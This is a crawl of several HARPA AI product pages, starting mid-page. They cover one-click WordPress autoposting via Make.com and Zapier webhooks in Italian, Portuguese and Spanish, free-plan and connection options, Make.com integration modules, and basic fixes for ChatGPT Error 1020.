nelle celle preferite. ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) La configurazione standard crea Bozze. Per pubblicare i post immediatamente, cambia il campo "Stato" nel modulo WordPress. ![](https://harpa.ai/img/grid/wordpress-1-click-post-03.webp) Una volta configurato lo scenario, ricorda di impostare la frequenza di esecuzione - in questo caso, ha senso impostare lo scenario per l'esecuzione "**Immediatamente all'arrivo dei dati**". ![](https://harpa.ai/img/grid/wordpress-1-click-post-04.webp) ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Se hai problemi, contattaci a: [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) . [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-italian#testa-la-tua-automazione-wordpress-con-1-clic) Testa la Tua Automazione WordPress con 1 Clic ------------------------------------------------------------------------------------------------------------------------------------------------------------- ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Suggeriamo di impostare GPT-o3-mini, Claude 3.7 Sonnet o modelli simili come connessione predefinita in HARPA, poiché questi modelli gestiscono efficacemente la generazione di testi lunghi. ![](https://harpa.ai/img/grid/wordpress-1-click-post-05.webp) 1. Assicurati che il tuo scenario in Make.com o un'altra piattaforma di automazione sia pronto a ricevere dati tramite Webhook. ![](https://harpa.ai/img/grid/wordpress-1-click-post-06.webp) 2. Trova il contenuto che vorresti usare come base per il tuo Post sul Blog. Può essere qualsiasi pagina web con testo o un video YouTube. 3. Trova ed esegui il Comando AI che abbiamo configurato - clicca su **Avvia**. L'IA analizzerà il contenuto, creerà una struttura, quindi scriverà un post strutturato nel formato richiesto e lo invierà tramite Webhook. ![](https://harpa.ai/img/grid/wordpress-1-click-post-07.webp) 4. Vai alla sezione dei post dove troverai una nuova bozza con il tuo post pronto per la pubblicazione. ![](https://harpa.ai/img/grid/wordpress-1-click-post-08.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/zapier-wordpress-draft-generation-italian) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-use-harpa-ai-portuguese) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Zapier + HARPA: Transforme Qualquer Conteúdo Web em um Blog WordPress [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/maps/route.svg) Zapier + HARPA: Transforme Qualquer Conteúdo Web em um Blog WordPress ===================================================================== OUTLINE NAVIGATE ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Contate-nos em [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) para assistência com a configuração da API HARPA GRID, integração ou para discutir suas necessidades de negócios. [\#](https://harpa.ai/blog/zapier-wordpress-draft-generation-portuguese#caracter%C3%ADsticas-do-cen%C3%A1rio) Características do Cenário ----------------------------------------------------------------------------------------------------------------------------------------- * Converta qualquer página da web ou vídeo do YouTube em um rascunho de blog WordPress com um único clique. * Seu rascunho será automaticamente enviado para o seu WordPress. Se quiser publicar o post imediatamente, basta especificar isso durante a configuração do cenário. * A configuração básica única leva ~5 minutos: personalize seu estilo, marcação (HTML ou Markdown) e insira sua URL do Webhook. Você pode alterar as configurações a qualquer momento. * Você não precisa de uma conta paga no [Zapier.com](https://zapier.com/) para testá-lo. ### [\#](https://harpa.ai/blog/zapier-wordpress-draft-generation-portuguese#comando-de-ia-pr%C3%A9-constru%C3%ADdo:) Comando de IA Pré-construído: * [Autopostagem para WordPress em 1 Clique](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) [\#](https://harpa.ai/blog/zapier-wordpress-draft-generation-portuguese#3-passos-para-configurar-seu-fluxo-de-trabalho) 3 Passos Para Configurar Seu Fluxo de Trabalho ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/zapier-wordpress-draft-generation-portuguese#1.-configura%C3%A7%C3%A3o-do-cen%C3%A1rio-no-zapier-(~2-min):) 1\. Configuração do Cenário no Zapier (~2 min): 1. Crie seu novo Zap ![](https://harpa.ai/img/grid/zapier-wordpress-automation-01.webp) 2. Selecione **Webhook: Catch hook** como seu módulo de Gatilho inicial. Você não precisa configurar o campo Child Key—apenas deixe-o vazio. ![](https://harpa.ai/img/grid/zapier-wordpress-automation-02.webp) 3. Você receberá uma URL de Webhook que precisará copiar e colar no HARPA mais tarde. ![](https://harpa.ai/img/grid/zapier-wordpress-automation-03.webp) ### [\#](https://harpa.ai/blog/zapier-wordpress-draft-generation-portuguese#2.-configurando-o-comando-de-ia-no-harpa-(~2-min):) 2\. Configurando o Comando de IA no HARPA (~2 min): 1. Importe o comando [Autopostagem para WordPress em 1 Clique](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) para o seu HARPA. 2. Abra o HARPA em qualquer página da web, encontre e execute o comando para completar a configuração única: 3. Copie sua URL de Webhook do Zapier para o HARPA. 4. Teste seu 1º passo de Webhook em qualquer conteúdo executando o Comando de IA do HARPA nesta página da web: ![](https://harpa.ai/img/grid/zapier-wordpress-automation-07.webp) Você verá que seu Passo de Webhook recebeu esses dados, que agora podem ser usados no próximo passo do WordPress. ![](https://harpa.ai/img/grid/zapier-wordpress-automation-06.webp) ### [\#](https://harpa.ai/blog/zapier-wordpress-draft-generation-portuguese#3.-configura%C3%A7%C3%A3o-do-passo-do-wordpress-(~3-5-min)) 3\. Configuração do Passo do WordPress (~3-5 min) 1. Adicione o próximo Passo - **WordPress: Create a post**. ![](https://harpa.ai/img/grid/zapier-wordpress-automation-04.webp) Se este for seu primeiro login no WordPress, o Zapier solicitará suas credenciais. Você só precisa fornecer essas informações uma vez: ![](https://harpa.ai/img/grid/zapier-wordpress-automation-05.webp) 2. Use o recurso de Mapeamento de Campos para definir os dados obtidos do 1º passo nos campos apropriados. Ficará algo assim: ![](https://harpa.ai/img/grid/zapier-wordpress-automation-08.webp) Você também pode configurá-lo para publicar o post imediatamente em vez de salvá-lo como rascunho. Ajuste todas as configurações de acordo com suas necessidades. Teste o envio de dados para o WordPress e você verá seu post ou rascunho aparecer na lista de posts se tudo funcionou corretamente. ![](https://harpa.ai/img/grid/wordpress-1-click-post-08.webp) [\#](https://harpa.ai/blog/zapier-wordpress-draft-generation-portuguese#outros-casos-de-uso-do-zapier-&-harpa-grid) Outros Casos de Uso do Zapier & HARPA GRID --------------------------------------------------------------------------------------------------------------------------------------------------------------- Acabamos de lançar nossa integração com o Zapier, então ainda não temos feedback sobre quais casos de uso você gostaria de guias. Sinta-se à vontade para nos contatar em _[\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) _ se tiver alguma dúvida sobre sua automação com IA. Enquanto isso, recomendamos verificar os guias do Make.com, que contêm várias abordagens interessantes que podem ser facilmente adaptadas ao Zapier: 1. [Campanha de Outreach por Email Orientada por IA](https://harpa.ai/grid/email-outreach-campaign) - Funciona com Gmail, Fastmail, Outlook ou qualquer serviço de email. Usa sua base de dados existente de nomes e emails e a enriquece para criar emails de outreach personalizados para cada destinatário. 2. [Rascunhos Automáticos de Respostas de Suporte por Email](https://harpa.ai/grid/auto-draft-support-email-replies) - Reduz o tempo gasto escrevendo emails de suporte repetitivos. Leva 5 minutos para configurar e reduz o tempo de resposta em 80%. Basta adicionar suas respostas comuns ao HARPA uma vez. O bot então trabalha 24/7 criando rascunhos de respostas por email. 3. [Enriquecimento de Banco de Dados](https://harpa.ai/grid/lead-database-enrichment) - HARPA GRID permite a segmentação de leads, o que por sua vez aumenta as taxas de resposta com direcionamento personalizado. 4. [Pesquisa de Leads](https://harpa.ai/grid/web-search-and-scraping) - Ajuda a buscar de forma confiável leads B2B em qualquer setor em sua localização, tornando seu processo de aquisição mais suave e econômico. 5. [Análise de Leads do LinkedIn](https://harpa.ai/grid/linkedin-lead-generation-and-data-enrichment) - Ótimo para encontrar talentos de alto nível ou tendências de vendas no LinkedIn e executar campanhas de outreach personalizadas. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/deepseek-api-not-working-portuguese) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/wordpress-1-click-post-draft-portuguese) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to Use HARPA AI for Free [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/finance/coins-hand.svg) How to Use HARPA AI for Free ============================ OUTLINE NAVIGATE HARPA AI offers a [Demo plan](https://harpa.ai/pricing) that lets you try key features without entering payment details. The Demo plan has the following limits: * Up to 10 messages per day using GPT-3.5, ClaudeAI Haiku, or Gemini web session (**refreshes daily**) * 50 total AI commands, vision features, agent actions and page-aware messages (**this limit does not refresh** - once reached, you cannot use commands or page-aware messages) * 2 web automations * 2 custom commands To use HARPA AI for free, you can use the [Web Session Connection](https://harpa.ai/blog/chatgpt-web-session) , limited to chat messages - up to 10 per day. For additional features or AI Commands and Automations, you can choose between S or X premium plans, detailed on the [pricing page](https://harpa.ai/pricing) : * **S plans**, refreshes AI token balance once per billing period - yearly or monthly. * **X plan**, lifetime deal includes a preset AI token balance, unlocks all product features permanently, and serves as a **BYOK (Bring Your Own Key)** plan. You can use your own API keys or web session connections without paying for tokens. ![icon](https://harpa.ai/icon/lines/education/atom-02.svg) The most budget-friendly monthly S1 plan gives approximately ~30 YouTube summaries or ~50 page-aware queries per day on GPT-4o-mini. Note that GPT-4o or Sonnet uses 10 times more tokens, so the number of queries will be 10 times less. [1 CloudGPT Megatoken (MT)](https://harpa.ai/blog/cloud-gpt-connection) equals to 1 million GPT-4o-mini input tokens, or approximately 750,000 words of English input text. Precise token costs for each LLM can be seen in the HARPA AI connections list. Prices align with those set by LLM service providers - OpenAI or Claude. **On average, 1 MT provides:** * ~ 150 YouTube summaries (15-minute videos) on GPT-4o-mini, or 15 YouTube summaries (15-minute videos) on GPT-4o. * ~ 50 GPT-4o Vision requests. * ~ 3,000 basic chat requests using GPT-4o-mini model. * ~ 300 page-aware chat requests using GPT-4o-mini mode. [\#](https://harpa.ai/blog/how-to-use-harpa-ai-for-free#how-to-use-free-ai-connections-in-harpa-ai) How to Use Free AI Connections in HARPA AI ----------------------------------------------------------------------------------------------------------------------------------------------- You can use free Web Session AI connections (ChatGPT, Claude, Gemini) in HARPA AI to avoid additional costs for API or third-party AI platforms. Access to these connections is unlimited on S and X plans. This is also helpful for HARPA X (BYOK LTD Plan) users. Once you get HARPA X plan, you always have that connection option and don't have to purchase CloudGPT Tokens. ### [\#](https://harpa.ai/blog/how-to-use-harpa-ai-for-free#free-web-session-connections-in-harpa-ai) Free Web Session Connections in HARPA AI HARPA AI supports connections to multiple LLM providers through your existing user accounts, including [ChatGPT](https://harpa.ai/blog/chatgpt-web-session) , [Claude AI](https://harpa.ai/blog/claude-ai-connection) , and [Google Gemini](https://harpa.ai/blog/google-bard-connection) . You can find detailed setup guides for each provider through the links. For frequent HARPA AI users, combining CloudGPT connections with other options offers a cost-effective solution. This combination allows you to stay on the most affordable plan while still accessing advanced features like [AI Vision](https://harpa.ai/guides/ai-vision-features) and premium models such as ChatGPT 4o, o1, and Claude Sonnet. The only limitations you'll encounter are the free usage quotas set by each provider for user queries. By switching between different LLMs in Web Session Connections, you can maximize your usage within these free limits without subscribing to premium services like ChatGPT Plus or Claude Pro. With a variety of connection options, many find that HARPA AI's S1 tier successfully meets their needs while avoiding additional costs. And if you need x3 more tokens, you can upgrade to the S2 plan. ### [\#](https://harpa.ai/blog/how-to-use-harpa-ai-for-free#free-api-connections-in-harpa-ai) Free API Connections in HARPA AI API connections can also be used for free through OpenRouter - [setup instructions](https://harpa.ai/blog/openrouter-connection-in-harpa-ai) . At the time of writing this post, OpenRouter offers several **free AI connections**, including Google Gemini 2.0 Flash, Llama 3.1 70B, and Mistral 7B Instruct. You can find the complete list here: [https://openrouter.ai/models?fmt=table&order=pricing-low-to-high](https://openrouter.ai/models?fmt=table&order=pricing-low-to-high) To start using OpenRouter, you may need to add a small initial balance ($1-5). You won't be required to spend it and can save it for paid API services whenever you want. ### [\#](https://harpa.ai/blog/how-to-use-harpa-ai-for-free#free-local-llms-in-harpa-ai) Free Local LLMs in HARPA AI You can install LLM models locally on your computer to avoid extra AI costs. [Ollama](https://ollama.com/) lets you run Llama 3.3, Phi 3, Mistral, Gemma 2, and other models. Browse all Ollama models at: [ollama.com/library](https://ollama.com/library) We've written complete installation instructions [here](https://harpa.ai/blog/connecting-harpa-ollama-local-llms) . This is a great tool to reduce AI costs. However, it requires a powerful PC - some models need substantial hardware resources. We recommend checking the technical requirements beforehand, especially for 10B+ models. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-use-harpa-ai) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-upload-pdf-to-harpa-ai) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Make.com Integration [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Make.com Integration ==================== CONTENTS [\#](https://harpa.ai/grid/make-com-harpa-grid-setup-basics#make.com-web-automation-with-harpa) Make.com Web Automation with HARPA ----------------------------------------------------------------------------------------------------------------------------------- You can automate Web Scrapping, Web Search and AI Agents in Make.com using [Official HARPA AI GRID App](https://eu1.make.com/app/invite/c98499c16cfa22f1051f64346ef91aaa) for Make.com (Integromat). ![icon](https://harpa.ai/icon/lines/education/atom-02.svg) Make.com allows pairing HARPA GRID with other powerful tools such as Hunter.io, GoogleSheets, Airtable, Mailgun etc. to create multi-step no-code marketing automation workflows, web scraping, data enrichment and lead generation systems. To setup AI browser automation in Make.com with HARPA GRID, please follow these steps: 1. Activate your [HARPA GRID Node](https://harpa.ai/grid/browser-automation-node-setup) . 2. Sign up for Make.com — check out the [Quick How To Guide](https://harpa.ai/guides/connecting-harpa-to-make-com#how-to-create-a-make.com-account) . When creating scenarios on Make.com, you can access the official [HARPA AI Web Browser Agent App](https://eu1.make.com/app/invite/c98499c16cfa22f1051f64346ef91aaa) modules: ### [\#](https://harpa.ai/grid/make-com-harpa-grid-setup-basics#connect-harpa-to-make.com) Connect HARPA to Make.com Create a New Scenario in Make.com. In the newly created scenario, pick one of the _HARPA GRID Actions_ (such as Run AI Command) as a starting module. Make.com will ask you to set up a HARPA AI API connection. Follow these steps: * Click **Create Connection** * Name your connection * Open your **HARPA Chrome Extension** > Switch to **AUTOMATE** Tab > Create and copy your **API Key** to Make.com module. ![](https://harpa.ai/img/grid/harpa-grid-make-com-9.webp) * Save your connection ### [\#](https://harpa.ai/grid/make-com-harpa-grid-setup-basics#make.com-browser-automation-modules) Make.com Browser Automation Modules You can add HARPA GRID Modules to your Make.com scenarios to scrape the Web, automate web search and AI commands. These **Action Modules** let you automate actions and workflows on any webpage, and will run on your HARPA GRID Node: * [Scrape Webpage Data](https://harpa.ai/grid/module-scrape-web-page) to get full page content in markdown format, HTML code, or elements by specific CSS, XPath or Text selectors, great for extracting product data, reviews, or any other content from Web pages where APIs are not available. * [Search the Web](https://harpa.ai/grid/module-search-the-web) to get SERP links along with titles and descriptions. * [Run one of the 100+ built-in or custom AI Commands](https://harpa.ai/grid/module-run-ai-command) on any webpage to automate tasks like filling forms, clicking buttons, extracting data, or running custom JavaScript code. You can also use **Trigger Modules** to launch your scenarios based on external web events, such as: * [On Web Monitor](https://harpa.ai/grid/module-on-web-monitor) triggers scenarios upon detecting changes in web pages, product prices, text or other content, * [On Action Result](https://harpa.ai/grid/module-on-action-result) receives data from the HARPA AI Commands. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/grid-rest-api-reference) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/module-run-ai-command) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to Fix ChatGPT Error 1020 [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) How to Fix ChatGPT Error 1020 ============================= OUTLINE NAVIGATE ![icon](https://harpa.ai/icon/lines/general/tool-02.svg) ChatGPT has become an indispensable tool for many. However users often encounter ChatGPT Error 1020, which is a roadblock to smooth experience. This guide aims to provide you with comprehensive solutions to tackle this issue effectively. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020#what-is-error-1020?) What is Error 1020? -------------------------------------------------------------------------------------------------- Error 1020 **Access Denied** is caused when a firewall rule has been violated on a site protected by Cloudflare, in this case, OpenAI's ChatGPT. It can be triggered if a site visitor tries to directly access a web server that is protected. ![](https://harpa.ai/img/blog/blog18-1.webp) ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020#symptoms) Symptoms * Inability to log in * Message displaying "Access Denied" * Restricted access to certain functionalities [\#](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020#common-causes) Common Causes -------------------------------------------------------------------------------------- * _VPN Issues_ - Sometimes, using a VPN can cause access issues. * _Browser Extensions_ - Certain Chrome extensions may block ChatGPT. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020#step-by-step-solutions) Step-by-Step Solutions -------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020#disable-/-enable-vpn) Disable / Enable VPN 1. Disable or enable your VPN service. 2. Refresh the ChatGPT web page. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020#clear-chatgpt-data) Clear ChatGPT Data Clearing the browsing data of ChatGPT is helpful to fix errors you’ve previously experienced on the website. 1. Open browser settings at _chrome://settings_ 2. Click on _Privacy and security_ > _Cookies and other site data_ > _See all site data and permissions_. 3. Type _OpenAI_ into the Search field to find all the cookies regarding ChatGPT. 4. Click on the _trash icon_ next to each displayed item and click the _Clear_ button. 5. Refresh the ChatGPT web page. ![](https://harpa.ai/img/blog/blog18-2.webp) ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020#disable-chrome-extensions) Disable Chrome Extensions Sometimes Chrome extensions can block ChatGPT from running well, as a result, ChatGPT error 1020 access denied happens. To fix your issue, you can disable these extensions. 1. Go to _chrome://extensions_ page. 2. Disable all extensions. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020#check-your-intranet-permissions) Check your Intranet Permissions Incorrect or insufficient network permissions could lead to the error **1020 Access Denied** on ChatGPT. If you are on a corporate intranet, check or request additional permissions from your network administrator. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020#more-information) More information -------------------------------------------------------------------------------------------- * [Kinsta's Guide on How to Fix Error 1020: Access Denied](https://kinsta.com/knowledgebase/error-1020-access-denied/) * [MiniTool's Guide on How to Fix ChatGPT Error Code 1020](https://www.minitool.com/news/chatgpt-error-code-1020.html) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020#faqs) FAQs -------------------------------------------------------------------- 1. **Is ChatGPT Error 1020 common?** * Yes, it is a common issue that many users face. 2. **Can browser extensions cause this error?** * Yes, certain extensions can block ChatGPT, leading to Error 1020. 3. **Is it necessary to contact OpenAI support?** * If the above solutions don't work, contacting OpenAI support is advisable. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020#more-chatgpt-troubleshooting-guides) More ChatGPT Troubleshooting Guides ---------------------------------------------------------------------------------------------------------------------------------- * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | 3 Pasos Simples para Convertir Cualquier Contenido Web en un Blog de WordPress [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) 3 Pasos Simples para Convertir Cualquier Contenido Web en un Blog de WordPress ============================================================================== OUTLINE NAVIGATE Convierte cualquier página web o video de YouTube en un borrador de blog de WordPress con un solo clic. Configuración única simple, funciona de manera consistente cada vez. ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) Si publicas hasta ~250 publicaciones por mes, puedes ejecutar el Escenario de IA dentro del Plan Gratuito de Make.com, que te ofrece 1.000 operaciones al mes. [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-spanish#caracter%C3%ADsticas-del-escenario) Características del Escenario ---------------------------------------------------------------------------------------------------------------------------------- * Convierte cualquier página web o video de YouTube en un borrador de blog de WordPress con un solo clic. * Tu borrador será enviado automáticamente a tu WordPress. Si quieres publicar la entrada inmediatamente, simplemente especifícalo durante la configuración del escenario - te mostraremos dónde hacerlo. * La configuración básica única toma ~5 minutos: personaliza tu estilo, marcado (HTML o Markdown) e ingresa tu URL de Webhook. Puedes cambiar la configuración en cualquier momento. * No necesitas una cuenta paga de [Make.com](https://www.make.com/en/pricing) . También puedes usar otros recursos como [n8n](https://n8n.io/) o [Boost.Space](https://harpa.ai/grid/boost-space-connection-guide) , o enviar publicaciones directamente a WordPress si tienes plugins que aceptan solicitudes API Post (por ejemplo, [FlowMattic](https://flowmattic.com/) . ### [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-spanish#plantillas-predise%C3%B1adas:) Plantillas prediseñadas: * [Comando IA: Autopublicación en WordPress en 1 clic](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) * [Plantilla de Escenario Make.com](https://eu1.make.com/templates/13922?templatePublicId=13922) [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-spanish#3-pasos-para-configurar-tu-flujo-de-trabajo) 3 Pasos para Configurar tu Flujo de Trabajo --------------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-spanish#configurando-el-comando-ia-en-harpa-(~2-min):) Configurando el Comando IA en HARPA (~2 min): 1. Importa el comando [Autopublicación en WordPress en 1 clic](https://harpa.ai/library/autopost-to-word-press-in-1-%D1%81lick-(webhook)/67d3fe70eea5a983d4452507) a tu HARPA. 2. Abre HARPA en cualquier página web, encuentra y ejecuta el comando para completar la configuración única: Te mostraremos la ubicación de la URL del Webhook en el siguiente capítulo. ### [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-spanish#configuraci%C3%B3n-de-la-plantilla-make.com-(~2-min):) Configuración de la Plantilla Make.com (~2 min): 1. Copia una [Plantilla de Escenario Make.com](https://eu1.make.com/templates/13922?templatePublicId=13922) ya preparada 2. En el primer módulo, necesitarás crear un webhook para tu HARPA donde se enviarán los datos, y copiar la URL en HARPA. ![](https://harpa.ai/img/grid/wordpress-1-click-post-01.webp) No te preocupes si accidentalmente cerraste el comando o ingresaste datos incorrectos. Simplemente ejecuta el comando nuevamente y selecciona la opción "CAMBIAR URL DE WEBHOOK". ![](https://harpa.ai/img/grid/wordpress-1-click-post-02.webp) ### [\#](https://harpa.ai/blog/wordpress-1-click-post-draft-spanish#configuraci%C3%B3n-del-m%C3%B3dulo-wordpress-(~3-5-min)) Configuración del Módulo WordPress (~3-5 min) * Activa el plugin Make.com Connector: [https://wordpress.com/plugins/integromat-connector](https://wordpress.com/plugins/integromat-connector) ![](https://harpa.ai/img/grid/wordpress-autoblogging-03.webp) * Ve al plugin en tu página de WordPress (esquina inferior izquierda), copia la clave API: ![](https://harpa.ai/img/grid/wordpress-autoblogging-04.webp) * Pega la clave API en Make.com. La URL base de la API REST es tu sitio web con '_/wp-json/_' al final, por ejemplo: **https://example.wpcomstaging.com/wp-json/** ![](https://harpa.ai/img/grid/wordpress-autoblogging-05.webp) * El módulo de WordPress incluye configuraciones predeterminadas, pero recomendamos la configuración manual si has personalizado el formato JSON. Simplemente ejecuta el primer módulo y tu comando de IA en cualquier ventana del navegador para enviar datos de prueba. Revisa los resultados y arrastra los campos generados a las celdas de tu preferencia. ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) La configuración estándar crea Borradores. Para publicar entradas de inmediato, cambia el campo "Estado" en el módulo de WordPress. ![](https://harpa.ai/img/grid/wordpress-1-click-post-03.webp) Una vez que configures el escenario, recuerda establecer la frecuencia de ejecución - en este caso, tiene sentido configurar el escenario para que se ejecute "**Inmediatamente cuando lleguen datos**". 